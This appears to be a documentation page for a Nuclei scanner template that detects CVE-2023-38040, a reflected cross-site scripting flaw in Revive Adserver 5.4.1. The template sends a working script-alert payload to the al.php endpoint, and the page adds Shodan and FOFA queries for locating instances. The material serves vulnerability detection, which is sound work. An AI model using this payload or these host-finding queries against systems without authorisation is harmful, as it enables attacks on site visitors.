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Revive Adserver 5.4.1 - Cross-Site Scripting

ID: CVE-2023-38040

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,revive-adserver,xss

Description

Section titled “Description”

A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.

YAML Source

Section titled “YAML Source”
id: CVE-2023-38040


info:
  name: Revive Adserver 5.4.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.
  impact: |
    Allows attackers to execute malicious scripts in the context of a victim's browser
  remediation: |
    Upgrade Revive Adserver to version 5.4.2 or later to mitigate the vulnerability
  reference:
    - https://hackerone.com/reports/1694171
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38040
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38040
    cwe-id: CWE-79
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.favicon.hash:106844876
    fofa-query: icon_hash="106844876"
    vendor: revive-adserver
    product: revive_adserver
  tags: cve,cve2023,revive-adserver,xss


flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'Revive Adserver'
        internal: true


  - method: GET
    path:
      - "{{BaseURL}}/www/delivery/al.php?zoneid=1&layerstyle=geocities&closetext=%3Cscript%3Ealert(document.domain);%3C/script%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain);</script>'


      - type: word
        part: content_type
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a373333a6f46a04890a511931ba4a7c3c331e82b863edada34a5ed593e9cbd12022100d3cd8f7fb889b9d5a5e94081f69f7f594e239a642238e3b501862884cc04b280:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-38040.yaml"

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